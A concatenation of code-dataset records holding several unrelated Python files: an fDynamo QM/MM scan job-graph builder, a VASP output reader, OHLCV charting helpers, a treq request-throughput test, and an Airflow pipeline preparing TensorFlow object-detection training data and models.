FDynamoNode(\"scan.f90\", reverseScan)\n newNode.verification = [\"SP\"]\n newNode.templateKey = \"QMMM_scan1D_mopac\"\n newNode.readInitialScanCoord = True\n newNode.additionalKeywords = { \"scanDir\" : \"-\", \"coordScanStart\" : \"\" , \"gradientTolerance\" : \"0.1\",\n \"iterNo\" : str(15), \"definedAtoms\" : definedAtoms, \"constraints\" : constraints}\n newNode.coordsIn = \"coordsStart.crd\"\n newNode.coordsOut = \"seed.-15\"\n \n jobGraph.add_node(reverseScan, data = newNode)\n jobGraph.add_edge( stepOptDir, reverseScan)\n \n reverseScan2 = join(startDir, \"TS1reverseScan2\")\n \n newNode = FDynamoNode(\"scan.f90\", reverseScan2)\n newNode.verification = [\"SP\"]\n newNode.templateKey = \"QMMM_scan1D_mopac\"\n newNode.readInitialScanCoord = True\n newNode.additionalKeywords = { \"scanDir\" : \"-\", \"coordScanStart\" : \"\" , \"gradientTolerance\" : \"0.1\",\n \"iterNo\" : str(16), \"definedAtoms\" : definedAtoms, \"constraints\" : constraints}\n newNode.coordsIn = \"coordsStart.crd\"\n newNode.coordsOut = \"seed.-16\"\n \n jobGraph.add_node(reverseScan2, data = newNode)\n jobGraph.add_edge( reverseScan, reverseScan2)\n\n reverseScan3 = join(startDir, \"TS1reverseScan3\")\n \n newNode = FDynamoNode(\"scan.f90\", reverseScan3)\n newNode.verification = [\"SP\"]\n newNode.templateKey = \"QMMM_scan1D_mopac\"\n newNode.readInitialScanCoord = True\n newNode.additionalKeywords = { \"scanDir\" : \"-\", \"coordScanStart\" : \"\" , \"gradientTolerance\" : \"0.1\",\n \"iterNo\" : str(11), \"definedAtoms\" : definedAtoms, \"constraints\" : constraints}\n newNode.coordsIn = \"coordsStart.crd\"\n \n jobGraph.add_node(reverseScan3, data = newNode)\n jobGraph.add_edge( reverseScan2, reverseScan3)\n\n \n forwardScan = join(startDir, \"TS1forwardScan1\")\n \n newNode = FDynamoNode(\"scan.f90\", forwardScan)\n newNode.verification = [\"SP\"]\n newNode.templateKey = \"QMMM_scan1D_mopac\"\n newNode.readInitialScanCoord = True\n newNode.additionalKeywords = { \"scanDir\" : \"+\", \"coordScanStart\" : \"\" , \"gradientTolerance\" : \"0.1\",\n \"iterNo\" : str(15), \"definedAtoms\" : definedAtoms, \"constraints\" : constraints}\n newNode.coordsIn = \"coordsStart.crd\"\n newNode.coordsOut = \"seed.+15\"\n \n jobGraph.add_node(forwardScan, data = newNode)\n jobGraph.add_edge( stepOptDir, forwardScan)\n \n forwardScan2 = join(startDir, \"TS1forwardScan2\")\n \n newNode = FDynamoNode(\"scan.f90\", forwardScan2)\n newNode.verification = [\"SP\"]\n newNode.templateKey = \"QMMM_scan1D_mopac\"\n newNode.readInitialScanCoord = True\n newNode.additionalKeywords = { \"scanDir\" : \"+\", \"coordScanStart\" : \"\" , \"gradientTolerance\" : \"0.1\",\n \"iterNo\" : str(16), \"definedAtoms\" : definedAtoms, \"constraints\" : constraints}\n newNode.coordsIn = \"coordsStart.crd\"\n newNode.coordsOut = \"seed.+16\"\n \n jobGraph.add_node(forwardScan2, data = newNode)\n jobGraph.add_edge( forwardScan, forwardScan2)\n\n forwardScan3 = join(startDir, \"TS1forwardScan3\")\n \n newNode = FDynamoNode(\"scan.f90\", forwardScan3)\n newNode.verification = [\"SP\"]\n newNode.templateKey = \"QMMM_scan1D_mopac\"\n newNode.readInitialScanCoord = True\n newNode.additionalKeywords = { \"scanDir\" : \"+\", \"coordScanStart\" : \"\" , \"gradientTolerance\" : \"0.1\",\n \"iterNo\" : str(11), \"definedAtoms\" : definedAtoms, \"constraints\" : constraints}\n newNode.coordsIn = \"coordsStart.crd\"\n \n jobGraph.add_node(forwardScan3, data = newNode)\n jobGraph.add_edge( forwardScan2, forwardScan3)\n \n \n return jobGraph\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print(\"Usage: initTSsearchDynamoPMF compileScanScript.sh \")\n else:\n compFile = sys.argv[1]\n currentDir = getcwd()\n \n \n sm = GraphManager()\n graph = sm.isGraphHere(currentDir)\n if not graph:\n newGraph = generateTSsearchDynamoPMF(compFile)\n \n \n result = sm.addGraph(newGraph, currentDir)\n if result:\n sm.buildGraphDirectories(newGraph)\n sm.saveGraphs()\n print(\"Created new graph\")\n else:\n print(\"Cannot create more than one graph in the same directory\")", "sub_path": "tsSearchPMFDynamoTightOpt2.py", "file_name": "tsSearchPMFDynamoTightOpt2.py", "file_ext": "py", "file_size_in_byte": 9508, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "networkx.DiGraph", "line_number": 44, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 45, "usage_type": "call"}, {"api_name": "parsers.parseFDynamoCompileScript", "line_number": 47, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 75, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 103, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 129, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 140, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 142, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 156, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 170, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 172, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 184, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 186, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 198, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 212, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 214, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 226, "usage_type": "call"}, {"api_name": "fDynamoJobNode.FDynamoNode", "line_number": 228, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 243, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 246, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 247, "usage_type": "call"}, {"api_name": "graphManager.GraphManager", "line_number": 250, "usage_type": "call"}]} {"seq_id": "578366298", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n###############################################################################\n# this script deals with the input and output files of VASP\n###############################################################################\n\n### import modules\nimport os\nimport sys\nimport numpy as np\nimport pymatgen.io.vasp.outputs as pym_o\n\n\nclass Vasp_io():\n \"\"\"\n this class deals with the input and output files of VASP\n\n Attributes\n ----------\n path : str\n path to the VASP run directory\n dir_name : str\n VASP run directory name\n \"\"\"\n\n def __init__(self, vasp_dir):\n \"\"\"\n init\n\n Parameters\n ----------\n vasp_dir : str\n VASP run directory (absoluth path is ok)\n \"\"\"\n self.path = vasp_dir\n self.dir_name = os.path.basename(vasp_dir)\n\n\n def _file_check(filename):\n \"\"\"\n check wheter 'filename' exists or not\n\n Parameters\n ----------\n filename : str\n ex) filename = 'OUTCAR'\n\n ValueError\n ----------\n 'filename' does not exist\n \"\"\"\n file_path = os.path.join(self.path, filename)\n if not os.path.exists(file_path):\n ValueError(file_path+\" does not exist\")\n\n def get_result_obj(self, filename):\n \"\"\"\n return result object\n mainly use pymatgen.io.vasp\n\n Parameters\n ----------\n filename : str\n ex) filename = 'OUTCAR'\n\n Returns\n -------\n resutl_obj : various class object\n object including results written in the 'filename'\n \"\"\"\n self._file_check(filename)\n\n if filename == 'OSZICAR':\n result_obj = pym_o.Oszicar(filename)\n\n return result_obj\n\n def print_result(filename):\n \"\"\"\n print the result including 'filename'\n\n Parameters\n ----------\n filename : str\n ex) filename = 'OUTCAR'\n\n Returns\n -------\n result : dict\n main results written in 'filename'\n \"\"\"\n self._file_check(filename)\n result_obj = self.get_result_obj(filename)\n\n if filename == 'OSZICAR':\n f_ele = result_obj.as_dict()['electronic_steps'][-1][-1]\n f_ion = result_obj.as_dict()['ionic_steps'][-1]\n print(\"### OSZICAR\")\n print(\"\")\n print(\"# final electronic step in the final ion step\")\n print(\"E: \"+str(f_ele['E']))\n print(\"dE: \"+str(f_ele['dE']))\n print(\"\")\n print(\"# final ion step\")\n print(\"F: \"+str(f_ion['F']))\n print(\"E0: \"+str(f_ion['E0']))\n print(\"dE: \"+str(f_ion['dE']))\n print(\"\")\n print(\"### END of OSZICAR\")\n", "sub_path": "module/vasp_io_bak.py", "file_name": "vasp_io_bak.py", "file_ext": "py", "file_size_in_byte": 2946, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "os.path.basename", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pymatgen.io.vasp.outputs.Oszicar", "line_number": 75, "usage_type": "call"}, {"api_name": "pymatgen.io.vasp.outputs", "line_number": 75, "usage_type": "name"}]} {"seq_id": "355952495", "text": "import matplotlib.pyplot as plt\nimport finplot as fplt\n\ndef extractDataFromList(arr):\n result = [[] for i in range(len(arr[0]))]\n for ele in arr:\n for i in range(len(ele)):\n result[i].append(ele[i])\n return result\n\ndef drawOhlcvLineGragh(timestamp, openVal, high, low, closeVal, volume, baseCurrency):\n fig, ax1 = plt.subplots()\n\n ax1.set_xlabel('timestamp (s)')\n ax1.set_ylabel(baseCurrency)\n ln1 = ax1.plot(timestamp, openVal, color=\"green\", linewidth=0.6, alpha=0.7, label=\"open\")\n ln2 = ax1.plot(timestamp, high, color=\"purple\", linewidth=0.6, alpha=0.7, label=\"high\")\n ln3 = ax1.plot(timestamp, low, color=\"gray\", linewidth=0.6, alpha=0.7, label=\"low\")\n ln4 = ax1.plot(timestamp, closeVal, color=\"red\", linewidth=0.6, alpha=0.7, label=\"close\")\n #ax1.tick_params(axis='y', labelcolor=color)\n\n ax2 = ax1.twinx() # instantiate a second axes that shares the same x-axis\n\n ax2.set_ylabel('volume', color='blue') # we already handled the x-label with ax1\n ln5 = ax2.plot(timestamp, volume, color='blue', linewidth=0.6, alpha=0.7, label=\"volume\")\n ax2.tick_params(axis='y', labelcolor='blue')\n\n fig.tight_layout() # otherwise the right y-label is slightly clipped\n\n lns = ln1+ln2+ln3 + ln4 + ln5\n labs = [l.get_label() for l in lns]\n ax1.legend(lns, labs, loc=0)\n\n plt.show()\n\ndef drawCandleStickChart(timestamp, openVal, high, low, closeVal, volume, exchange, symbol):\n # create two plots\n ax = fplt.create_plot(exchange + '-' + symbol, rows=1)\n\n # plot candle sticks\n candles = [timestamp, openVal, closeVal, high, low]\n fplt.candlestick_ochl(candles, ax=ax)\n\n # # put an MA on the close price\n # fplt.plot(timestamp, closeVal.rolling(25).mean(), ax=ax, legend='ma-25')\n\n # overlay volume on the top plot\n volumes = [timestamp, openVal, closeVal, volume]\n fplt.volume_ocv(volumes, ax=ax.overlay())\n\n # restore view (X-position and zoom) if we ever run this example again\n fplt.autoviewrestore()\n\n # we're done\n fplt.show()\n", "sub_path": "visualizeData.py", "file_name": "visualizeData.py", "file_ext": "py", "file_size_in_byte": 2046, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "matplotlib.pyplot.subplots", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "finplot.create_plot", "line_number": 38, "usage_type": "call"}, {"api_name": "finplot.candlestick_ochl", "line_number": 42, "usage_type": "call"}, {"api_name": "finplot.volume_ocv", "line_number": 49, "usage_type": "call"}, {"api_name": "finplot.autoviewrestore", "line_number": 52, "usage_type": "call"}, {"api_name": "finplot.show", "line_number": 55, "usage_type": "call"}]} {"seq_id": "614874013", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#from twisted.internet import epollreactor\n#epollreactor.install()\nfrom twisted.internet import reactor, task\nfrom twisted.web.client import HTTPConnectionPool\nimport treq\n\nclass MyTreq:\n req_generated = 0\n req_made = 0\n req_done = 0\n\n cooperator = task.Cooperator()\n\n pool = HTTPConnectionPool(reactor)\n\n def counter(self):\n '''This function gets called once a second and prints the progress at one\n second intervals.\n '''\n print(\"Requests: {} generated; {} made; {} done\".format(self.req_generated,self.req_made, self.req_done))\n # reset the counters and reschedule ourselves\n self.req_generated = self.req_made = self.req_done = 0\n reactor.callLater(1, self.counter)\n\n def body_received(self,body):\n self.req_done += 1\n\n def request_done(self,response):\n deferred = treq.json_content(response)\n self.req_made += 1\n deferred.addCallback(self.body_received)\n deferred.addErrback(lambda x: None) # ignore errors\n return deferred\n\n def request(self):\n #deferred = treq.post('http://api.host/v2/loadtest/messages',\n # auth=('api', 'api-key'),\n # data={'from': 'Loadtest <test@example.com>',\n # 'to': 'to@example.org',\n # 'subject': \"test\"},\n # pool=pool)\n deferred = treq.get('http://www.baidu.com/',pool=self.pool)\n deferred.addCallback(self.request_done)\n return deferred\n\n def requests_generator(self):\n while True:\n deferred = self.request()\n self.req_generated += 1\n # do not yield deferred here so cooperator won't pause until\n # response is received\n yield None\n\nif __name__ == '__main__':\n # make cooperator work on spawning requests\n t = MyTreq()\n t.cooperator.cooperate(t.requests_generator())\n\n # run the counter that will be reporting sending speed once a second\n reactor.callLater(1, t.counter)\n\n # run the reactor\n reactor.run()", "sub_path": "Treq_pro/treq_test.py", "file_name": "treq_test.py", "file_ext": "py", "file_size_in_byte": 2167, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "twisted.internet.task.Cooperator", "line_number": 15, "usage_type": "call"}, {"api_name": "twisted.internet.task", "line_number": 15, "usage_type": "name"}, {"api_name": "twisted.web.client.HTTPConnectionPool", "line_number": 17, "usage_type": "call"}, {"api_name": "twisted.internet.reactor", "line_number": 17, "usage_type": "argument"}, {"api_name": "twisted.internet.reactor.callLater", "line_number": 26, "usage_type": "call"}, {"api_name": "twisted.internet.reactor", "line_number": 26, "usage_type": "name"}, {"api_name": "treq.json_content", "line_number": 32, "usage_type": "call"}, {"api_name": "treq.get", "line_number": 45, "usage_type": "call"}, {"api_name": "twisted.internet.reactor.callLater", "line_number": 63, "usage_type": "call"}, {"api_name": "twisted.internet.reactor", "line_number": 63, "usage_type": "name"}, {"api_name": "twisted.internet.reactor.run", "line_number": 66, "usage_type": "call"}, {"api_name": "twisted.internet.reactor", "line_number": 66, "usage_type": "name"}]} {"seq_id": "40876396", "text": "import filecmp\nimport glob\nimport json\nimport logging\nimport os\nimport re\nimport shutil\nimport tarfile\n\nimport pandas as pd\nimport requests\n\nimport mistune\nfrom bs4 import BeautifulSoup\nfrom utils import file_ops\n\nlogging.getLogger().setLevel(logging.INFO)\n\n\ndef __parse_downloaded_model_file_list_response(response):\n html = mistune.markdown(response.text)\n soup = BeautifulSoup(html)\n link_nodes = soup.find_all(\"a\")\n\n data = []\n for link in link_nodes:\n if \"http://download.tensorflow.org/models/object_detection/\" in link.attrs[\"href\"]:\n model_name = link.text\n model_name = model_name.replace(\"☆\", \"\")\n model_name = model_name.strip()\n\n model_url = link.attrs[\"href\"]\n model_file_name = model_url.split(\"/\")[-1]\n model_folder_name = os.path.splitext(os.path.basename(model_file_name))[0]\n model_folder_name = os.path.splitext(os.path.basename(model_folder_name))[0]\n try:\n model_release_date = re.search(r\"\\d{4}_\\d{2}_\\d{2}\", model_file_name).group()\n except:\n model_release_date = None\n\n data.append(\n (model_release_date, model_folder_name, model_file_name, model_url, model_name)\n )\n\n logging.info(f\"Parsed all model data from the webpage {response.url}\")\n\n return pd.DataFrame(\n data,\n columns=[\n \"model_release_date\",\n \"model_folder_name\",\n \"model_file_name\",\n \"model_url\",\n \"model_name\",\n ],\n )\n\n\ndef validate_reference_model_list_exist_or_create(\n base_model_csv, positive_downstream, negative_downstream\n):\n if file_ops.file_exist(base_model_csv):\n return positive_downstream\n else:\n return negative_downstream\n\n\ndef download_reference_model_list_as_csv(url, base_model_csv):\n try:\n response = requests.get(url, allow_redirects=True)\n new_models_reference_df = __parse_downloaded_model_file_list_response(response)\n new_models_reference_df.to_csv(base_model_csv)\n logging.info(\"Model list data saved to csv file\")\n except requests.exceptions.RequestException as e:\n logging.error(f\"An error occurred while downloading the file from {url}\")\n\n\ndef download_and_extract_base_model(base_model_csv, base_model_folder, base_model_list=None):\n\n models_df = pd.read_csv(base_model_csv)\n models_subset = models_df[[\"model_folder_name\", \"model_file_name\", \"model_url\", \"model_name\"]]\n\n if base_model_list is not None:\n models_subset = models_subset[models_df.model_name.isin(base_model_list)]\n\n models = [tuple(x) for x in models_subset.values]\n subfolders = file_ops.get_subfolders_names_in_directory(base_model_folder)\n\n for model_folder_name, model_file_name, model_url, model_name in models:\n if not model_folder_name in subfolders:\n logging.info(f\"Model {model_folder_name} not found \")\n os.mkdir(os.path.join(base_model_folder, model_folder_name))\n try:\n response = requests.get(model_url, stream=True)\n logging.info(f\"Downloading {model_url} .....\")\n if response.status_code == 200:\n tar_file = os.path.join(base_model_folder, model_file_name)\n with open(tar_file, \"wb\") as f:\n f.write(response.raw.read())\n\n logging.info(f\"Extracting {tar_file} .....\")\n shutil.unpack_archive(tar_file, os.path.join(base_model_folder))\n os.remove(tar_file)\n except requests.exceptions.RequestException as e:\n logging.error(f\"An error occurred while downloading the file from {model_url}\")\n else:\n logging.info(\"All base models are already present\")\n\n\ndef compare_label_map_file(base_tf_record_folder, video_source):\n\n subfolders = file_ops.get_directory_subfolders_subset(base_tf_record_folder, video_source)\n\n if len(subfolders) > 1:\n label_maps = []\n for subfolder in subfolders:\n label_maps.append(glob.glob(subfolder + \"*.pbtxt\")[0])\n reference_label_map = label_maps[0]\n labelmap_match = True\n for label_map in label_maps:\n print(label_map)\n logging.info(f\"Reference File: {reference_label_map}\")\n if filecmp.cmp(label_map, reference_label_map):\n print(f\"[ MATCH ] | LabelMap:{label_map} \")\n else:\n print(f\"[ FAILED ] | LabelMap:{label_map} \")\n labelmap_match = False\n\n return labelmap_match\n else:\n logging.warn(f\"There were not enough dataset to compare i.g : Less than two\")\n\n\ndef __create_training_folder_subtree(\n training_data_folder, video_source, object_names, execution_date, **kwargs\n):\n\n # Base Folder\n data_folder = os.path.join(training_data_folder, \"data\")\n model_folder = os.path.join(training_data_folder, \"model\")\n training_folder = os.path.join(training_data_folder, \"training\")\n\n images_folder = os.path.join(data_folder, \"images\")\n annotations_folder = os.path.join(data_folder, \"annotations\")\n xmls_folder = os.path.join(data_folder, \"annotations\", \"xmls\")\n tf_record_folder = os.path.join(data_folder, \"tf_record\")\n base_model_folder = os.path.join(model_folder, \"base\")\n trained_model_folder = os.path.join(model_folder, \"trained\")\n\n train_data_folder = os.path.join(training_folder, \"training\")\n eval_data_folder = os.path.join(training_folder, \"evaluation\")\n\n training_folders = {\n \"base_folder\": training_data_folder,\n \"data_folder\": data_folder,\n \"model_folder\": model_folder,\n \"training_folder\": training_folder,\n \"images_folder\": images_folder,\n \"annotations_folder\": annotations_folder,\n \"xmls_folder\": xmls_folder,\n \"tf_record_folder\": tf_record_folder,\n \"base_model_folder\": base_model_folder,\n \"trained_model_folder\": trained_model_folder,\n \"train_data_folder\": train_data_folder,\n \"eval_data_folder\": eval_data_folder,\n }\n\n data_folders = [\n training_folders[\"images_folder\"],\n training_folders[\"xmls_folder\"],\n training_folders[\"tf_record_folder\"],\n training_folders[\"base_model_folder\"],\n training_folders[\"trained_model_folder\"],\n training_folders[\"train_data_folder\"],\n training_folders[\"eval_data_folder\"],\n ]\n\n for folder in data_folders:\n os.makedirs(folder)\n\n ti = kwargs[\"ti\"]\n ti.xcom_push(key=\"training_folders\", value=training_folders)\n logging.info(\"Training folder subtree has been created successfully\")\n\n\ndef create_training_folder(\n base_training_folder, tf_record_folder, video_source, execution_date, base_model, **kwargs,\n):\n subfolders = file_ops.get_directory_subfolders_subset(tf_record_folder, video_source)\n\n object_names_set = set()\n for subfolder in subfolders:\n folder_name = os.path.basename(os.path.normpath(subfolder))\n if folder_name.startswith(video_source):\n\n object_names = subfolder.split(\"_\")[1]\n object_names_set.update(object_names.split(\"-\"))\n\n object_names = \"-\".join(list(object_names_set))\n\n training_folder = os.path.join(\n base_training_folder, f\"{video_source}_{object_names}_{base_model}_{execution_date}\"\n )\n\n __create_training_folder_subtree(\n training_folder, video_source, object_names, execution_date, **kwargs\n )\n\n ti = kwargs[\"ti\"]\n ti.xcom_push(key=\"training_folder\", value=training_folder)\n\n\ndef copy_labelbox_output_data_to_training(\n labelbox_output_data_folder,\n tf_record_folder,\n video_source,\n base_model,\n airflow_base_folder,\n gcp_base_bucket_url,\n **kwargs,\n):\n ti = kwargs[\"ti\"]\n training_folders = ti.xcom_pull(\n key=\"training_folders\", task_ids=f\"create_training_folder_tree_{video_source}_{base_model}\"\n )\n\n filtered_subfolders = file_ops.get_directory_subfolders_subset(\n labelbox_output_data_folder, video_source\n )\n\n for subfolder in filtered_subfolders:\n subfolders = file_ops.get_subfolders_in_directory(subfolder)\n\n subfolders = [\n image_subfolder for image_subfolder in subfolders if image_subfolder.endswith(\"images\")\n ]\n\n images_folder = subfolders[0]\n\n file_ops.copy_files_from_folder(images_folder, training_folders[\"images_folder\"])\n\n logging.info(\"Image files copy completed\")\n\n file_ops.copy_xml_files_from_folder(subfolder, training_folders[\"xmls_folder\"])\n\n logging.info(\"XML files copy completed\")\n\n subfolders = file_ops.get_directory_subfolders_subset(tf_record_folder, video_source)\n\n labelmap_files = []\n trainval_files = []\n tf_record_files = []\n for subfolder in subfolders:\n labelmap_files.extend(glob.glob(subfolder + \"/*.pbtxt\"))\n trainval_files.extend(glob.glob(subfolder + \"/*.txt\"))\n tf_record_files.extend(glob.glob(subfolder + \"/*.record\"))\n\n labelmap_file = f\"{training_folders['annotations_folder']}/labelmap.pbtxt\"\n trainval_file = f\"{training_folders['annotations_folder']}/trainval.txt\"\n\n with open(labelmap_file, \"w\") as outfile:\n with open(labelmap_files[0]) as infile:\n for line in infile:\n outfile.write(line)\n\n with open(trainval_file, \"w\") as outfile:\n for trainval_file in trainval_files:\n with open(trainval_file, \"r\") as infile:\n shutil.copyfileobj(infile, outfile)\n\n train_tf_records = []\n val_tf_records = []\n\n for tf_record_file in tf_record_files:\n\n if (tf_record_file).endswith(\"train.record\"):\n train_tf_records.append(tf_record_file)\n else:\n val_tf_records.append(tf_record_file)\n\n shutil.copy2(tf_record_file, training_folders[\"tf_record_folder\"])\n\n local_training_files = {\n \"label_map_file\": labelmap_file,\n \"trainval_file\": trainval_file,\n \"train_tf_records\": train_tf_records,\n \"val_tf_records\": val_tf_records,\n }\n\n gcp_training_files = {\n \"label_map_file\": labelmap_file.replace(airflow_base_folder, gcp_base_bucket_url),\n \"trainval_file\": trainval_file.replace(airflow_base_folder, gcp_base_bucket_url),\n \"train_tf_records\": [\n tf_record.replace(airflow_base_folder, gcp_base_bucket_url)\n for tf_record in train_tf_records\n ],\n \"val_tf_records\": [\n tf_record.replace(airflow_base_folder, gcp_base_bucket_url)\n for tf_record in val_tf_records\n ],\n }\n\n ti = kwargs[\"ti\"]\n ti.xcom_push(key=\"local_training_files\", value=local_training_files)\n ti.xcom_push(key=\"gcp_training_files\", value=gcp_training_files)\n\n\ndef copy_base_model_to_training_folder(\n base_model_folder,\n base_model_csv,\n base_model,\n video_source,\n airflow_base_folder,\n gcp_base_bucket_url,\n **kwargs,\n):\n ti = kwargs[\"ti\"]\n training_folders = ti.xcom_pull(\n key=\"training_folders\", task_ids=f\"create_training_folder_tree_{video_source}_{base_model}\"\n )\n\n gcp_training_files = ti.xcom_pull(\n key=\"gcp_training_files\",\n task_ids=f\"copy_labelbox_output_data_to_training_folder_{video_source}_{base_model}\",\n )\n\n base_models_df = pd.read_csv(base_model_csv)\n\n model_df = base_models_df.loc[base_models_df[\"model_name\"] == base_model]\n\n base_model_folder_name = model_df.iloc[0][\"model_folder_name\"]\n\n model_folder = os.path.join(base_model_folder, base_model_folder_name)\n\n file_ops.copy_files_from_folder(model_folder, training_folders[\"base_model_folder\"])\n\n logging.info(\"Successfully copied all base model file to training folder\")\n\n pipeline_file = os.path.join(training_folders[\"base_model_folder\"], \"pipeline.config\")\n\n os.remove(pipeline_file)\n\n model_checkpoint = os.path.join(training_folders[\"base_model_folder\"], \"model.ckpt\")\n\n logging.info(\"Successfully removed pipeline.config file\")\n\n gcp_training_files[\"model_checkpoint\"] = model_checkpoint.replace(\n airflow_base_folder, gcp_base_bucket_url\n )\n\n ti = kwargs[\"ti\"]\n ti.xcom_push(key=\"gcp_training_files\", value=gcp_training_files)\n\n\ndef generate_model_config(\n video_source, base_model, model_config_template, num_classes, **kwargs,\n):\n\n ti = kwargs[\"ti\"]\n training_folders = ti.xcom_pull(\n key=\"training_folders\", task_ids=f\"create_training_folder_tree_{video_source}_{base_model}\"\n )\n gcp_training_files = ti.xcom_pull(\n key=\"gcp_training_files\",\n task_ids=f\"copy_base_model_to_training_folder_{video_source}_{base_model}\",\n )\n\n # Replacing placeholders in airflow variables for values\n model_config_template = re.sub(\"NUM_CLASSES\", str(num_classes), model_config_template)\n model_config_template = re.sub(\n \"PRE_TRAINED_MODEL_CHECKPOINT_PATH\",\n gcp_training_files[\"model_checkpoint\"],\n model_config_template,\n )\n model_config_template = re.sub(\n \"LABEL_MAP_PATH\", gcp_training_files[\"label_map_file\"], model_config_template\n )\n model_config_template = re.sub(\n \"TRAIN_TF_RECORD_PATHS\", str(gcp_training_files[\"train_tf_records\"]), model_config_template\n )\n model_config_template = re.sub(\n \"VAL_TF_RECORD_PATHS\", str(gcp_training_files[\"val_tf_records\"]), model_config_template\n )\n\n try:\n config_file = os.path.join(training_folders[\"base_folder\"], \"pipeline.config\")\n with open(config_file, \"w\") as outfile:\n outfile.write(model_config_template)\n logging.info(\"Model config file has been created succesfully\")\n except IOError as e:\n logging.error(\n \"An error has been raised while trying to save the model config to a file on disk\"\n )\n raise e\n\n\ndef archiving_training_folder(training_archiving_path, video_source, base_model, **kwargs):\n ti = kwargs[\"ti\"]\n training_folders = ti.xcom_pull(\n key=\"training_folders\", task_ids=f\"create_training_folder_tree_{video_source}_{base_model}\"\n )\n print(training_archiving_path)\n print(training_folders)\n folder_name = file_ops.get_folder_name(training_folders[\"base_folder\"])\n archive_file = os.path.join(training_archiving_path, f\"{folder_name}.tar\")\n\n with tarfile.open(archive_file, \"w:gz\") as tar:\n tar.add(training_folders[\"base_folder\"], arcname=folder_name)\n\n logging.info(\n f\"Successfully created archive of training folder : {training_folders['base_folder']}\"\n )\n\n\ndef remove_raw_images_and_annotations_from_training_folder(\n video_source, base_model, gcp_base_bucket_url, airflow_trainable_folder, **kwargs\n):\n ti = kwargs[\"ti\"]\n training_folders = ti.xcom_pull(\n key=\"training_folders\", task_ids=f\"create_training_folder_tree_{video_source}_{base_model}\"\n )\n shutil.rmtree(training_folders[\"xmls_folder\"])\n shutil.rmtree(training_folders[\"images_folder\"])\n os.remove(os.path.join(training_folders[\"annotations_folder\"], \"trainval.txt\"))\n\n training_folder = training_folders[\"base_folder\"]\n\n prepared_cmd = f\"gsutil -m cp -r {training_folder} {gcp_base_bucket_url}\"\n\n training_folder_name = file_ops.get_folder_name(training_folder)\n\n json_data = {}\n json_data[\"gcp_url\"] = f\"{gcp_base_bucket_url}/{training_folder_name}\"\n\n json_file = os.path.join(airflow_trainable_folder, f\"{training_folder_name}.json\")\n with open(json_file, \"w\") as outfile:\n json.dump(json_data, outfile, indent=4)\n\n ti.xcom_push(key=\"gcp_copy_cmd\", value=prepared_cmd)\n\n logging.info(\"Successfully deleted useless files for training\")\n\n\ndef clean_up_post_training_prep(folders, **kwargs):\n\n print(folders)\n for folder in folders:\n folder_content = glob.glob(f\"{folder}/*\")\n print(folder_content)\n\n for content in folder_content:\n if os.path.isdir(content):\n logging.info(f\"Deleting Folder:{content}\")\n shutil.rmtree(content)\n else:\n if not content.endswith(\".gitignore\"):\n logging.info(f\"Deleting File:{content}\")\n os.remove(content)\n", "sub_path": "dags/prepare_model_and_data_for_training/prepare_model_and_data_for_training.py", "file_name": "prepare_model_and_data_for_training.py", "file_ext": "py", "file_size_in_byte": 16262, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 17, "usage_type": "attribute"}, {"api_name": "mistune.markdown", "line_number": 21, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 34, 